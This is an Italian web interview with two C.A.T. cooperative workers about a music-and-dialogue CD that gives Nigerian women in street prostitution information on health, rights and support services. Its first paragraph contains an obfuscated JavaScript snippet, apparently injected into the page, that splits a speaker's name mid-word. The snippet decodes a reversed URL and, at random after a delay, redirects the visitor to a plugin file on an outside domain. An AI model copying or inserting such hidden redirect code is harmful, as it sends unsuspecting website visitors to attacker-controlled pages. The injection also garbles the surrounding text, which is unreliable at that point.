Musica, parole e prevenzione

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Sta prendendo corpo un intervento concreto e originale destinato alle ragazze nigeriane che si prostituiscono per le strade della nostra città. Per capire meglio di cosa si tratta, abbiamo parlato con Leslie Mechi e Leonardo L (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andi, operatori della cooperativa sociale C.A.T. che, insieme all’Associazione Progetto Arcobaleno, gestisce il progetto nell’ambito del C.I.P. (Collegamento Interventi Prostituzione).
Leslie, in cosa consiste esattamente il progetto a cui avete lavorato?
Abbiamo pensato di realizzare un cd che sia in grado di fornire alle ragazze una serie di indicazioni utili, sia riguardo ai loro diritti che riguardo alla tutela di sé stesse e della propria salute. Nel cd infatti si parla dei servizi che il territorio mette a loro disposizione, dei diritti conferiti dal tesserino STP (stranieri temporanei presenti), della necessità dell’uso del preservativo, del rispetto di minime regole d’igiene, di dove poter fare un test dell’HIV o un’interruzione di gravidanza.
Com’è strutturato il cd?
È diviso in nove capitoli, uno per tema, nei quali due mediatrici culturali nigeriane simulano una conversazione tra due ragazze, in strada, dove l’una dice all’altra cose del tipo “Ma lo sai dove devi andare a fare un test di gravidanza?“ oppure “Sono stata a uno sportello dove mi hanno dato informazioni utili riguardo ai documenti”, e così via. I capitoli sono intervallati da brani musicali di diversi gruppi che hanno offerto gratuitamente il loro contributo.
Leonardo, sei tu che hai curato la parte musicale?
Sì, insieme a Gaspare Bucca e ad Andrea Antonini, anche loro della CAT. Veramente nell’idea iniziale c’erano brani di autori famosi, come Mary J. Blige o Bob Marley, che piacciono alle ragazze nigeriane. Ed avevamo scelto testi positivi, o in tema… per esempio una canzone di Femi Kuti sulla prevenzione dell’Aids, oppure “Black woman” di Judy Mowat che parla dell’orgoglio e della dignità della donna africana. Ma purtroppo nessuna etichetta ha dato il permesso di usare gratuitamente questi pezzi, nemmeno per un progetto di utilità sociale! Allora abbiamo chiesto a gruppi locali di regalarci dei brani loro, o scriverne di nuovi apposta per il cd. È quasi tutta musica reggae o ragga.
È il genere che preferiscono?
Sì, l’abbiamo constatato per esempio vedendo le ragazze ballare in posti come il Sahara Desert, e ce lo hanno confermato le mediatrici culturali. Anche un mio amico di Torino mi ha aiutato. Lui abitava nel quartiere di S. Salvario e frequentando i negozietti per stranieri ha potuto osservare cosa compravano le ragazze. Anche a Roma vicino alla Stazione Termini c’è una parrucchiera nigeriana che vende cd e cassette (ma anche i mitici film polizieschi nigeriani!): il genere che va di più è quello. Ti voglio dire una curiosità: il cantante italiano più amato è Tiziano Ferro (del resto è logico, è l’unico italiano che fa del buon R&B). Ma nemmeno la sua etichetta ci ha dato il permesso.
Ma perché pensare proprio ad un cd, Leslie?
Perché i volantini e gli opuscoli informativi non sono abbastanza efficaci. Spesso non vengono nemmeno letti perché il livello di istruzione di queste ragazze è molto basso. Mentre il cd, con la musica e i dialoghi, è senz’altro più vivace e incisivo. Inoltre le ragazze possono immedesimarsi direttamente nelle due donne che parlano e riconoscervi se stesse e i propri disagi.
Quali sono le realtà che stanno dietro alla realizzazione di questo progetto e quali servizi offrono alle ragazze?
L’Unità di Strada gestita dalla Cooperativa C.A.T. cerca di individuare i comportamenti a rischio per la salute delle donne che si prostituiscono, fa informazione direttamente sul campo e si occupa, al bisogno, di accompagnare le donne ai servizi a loro disposizione; ora si incaricherà anche della distribuzione gratuita del cd. Poi c’è uno Sportello d’Ascolto (spazio intermedio) e un numero verde dove lavorano operatori C.A.T. e Arcobaleno. Qui le ragazze possono rivolgersi per avere assistenza e informazione riguardo temi come sanità, lavoro, documenti di identità, soggiorno e fuoriuscita dalla condizione di sfruttamento. C’è infine la Casa Accoglienza, gestita dall’Arcobaleno, per chi decidesse di smettere di prostituirsi.
Quante ragazze usufruiscono di questi servizi una volta conosciuti? E quante decidono di smettere di prostituirsi dopo essere entrate in contatto con voi?
Sono molte quelle che si rivolgono all’Unità di strada e allo Spazio intermedio per avere assistenza sanitaria e legale. Poche invece quelle che decidono di smettere di prostituirsi e intraprendere il percorso di accoglienza.
Quali sono i problemi più frequenti che incontrate nel rapporto con le ragazze?
La diffidenza, la paura di venir scoperte dalla “madama” o dal “protettore”. Adesso comunque hanno imparato a riconoscere il furgoncino dell’Unità di strada… e a capire che non siamo poliziotti!

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